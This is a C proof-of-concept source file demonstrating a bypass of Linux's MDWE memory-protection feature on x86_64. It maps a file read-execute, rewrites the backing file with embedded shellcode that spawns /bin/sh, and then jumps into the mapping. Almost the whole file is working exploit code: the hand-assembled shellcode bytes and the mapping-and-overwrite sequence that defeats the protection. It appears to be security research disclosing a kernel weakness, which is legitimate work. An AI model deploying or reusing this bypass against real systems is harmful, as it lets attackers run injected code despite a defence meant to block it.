// poc_mdwe_bypass_x86_64.c
//
// Proof-of-Concept: MDWE bypass via file-backed RX mapping on Linux x86_64
// Author: Ali Polatel <alip@chesswob.org>

#define _GNU_SOURCE
#include <sys/prctl.h>
#include <linux/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>

#ifdef __x86_64__
static unsigned char shellcode[] = {
	/* xor rax, rax */
	0x48, 0x31, 0xc0,
	/* movabs rbx, 0x0068732f6e69622f ; "/bin/sh\0" */
	0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00,
	/* push rbx */
	0x53,
	/* mov rdi, rsp */
	0x48, 0x89, 0xe7,
	/* xor rsi, rsi */
	0x48, 0x31, 0xf6,
	/* push rsi           ; argv[1] = NULL */
	0x56,
	/* push rdi           ; argv[0] = "/bin/sh" */
	0x57,
	/* mov rsi, rsp       ; rsi = &argv */
	0x48, 0x89, 0xe6,
	/* lea rdx, [rsi+8]   ; rdx = &envp (NULL) */
	0x48, 0x8d, 0x56, 0x08,
	/* mov al, 0x3b       ; syscall execve */
	0xb0, 0x3b,
	/* syscall */
	0x0f, 0x05
};
#else
#error "Unsupported architecture: only x86-64 is supported!"
#endif

int main(void)
{
	const char *path = "./mmap";

	/* Enable MDWE. */
	if (prctl(PR_SET_MDWE, PR_MDWE_REFUSE_EXEC_GAIN, 0, 0, 0) == -1) {
		perror("prctl");
		exit(EXIT_FAILURE);
	}

	int fd = open(path, O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);
	if (fd < 0) {
		perror("open");
		exit(EXIT_FAILURE);
	}

	size_t len = sizeof(shellcode);

	/* Map RX. */
	void *addr = mmap(NULL, len, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
	if (addr == MAP_FAILED) {
		perror("mmap");
		close(fd);
		unlink(path);
		exit(EXIT_FAILURE);
	}

	/* Overwrite backing file. */
	if (lseek(fd, 0, SEEK_SET) < 0 ||
	    write(fd, shellcode, len) != (ssize_t)len) {
		perror("write");
		munmap(addr, len);
		close(fd);
		unlink(path);
		exit(EXIT_FAILURE);
	}

	/* Close file:
	 * This will sync the contents to the RO-memory area,
	 * which breaks MDWE! */
	close(fd);

	/* Jump into RX mapping! */
	((void (*)(void))addr)();

	/* Cleanup (not reached if shell succeeds). */
	munmap(addr, len);
	unlink(path);
	return EXIT_FAILURE;
}
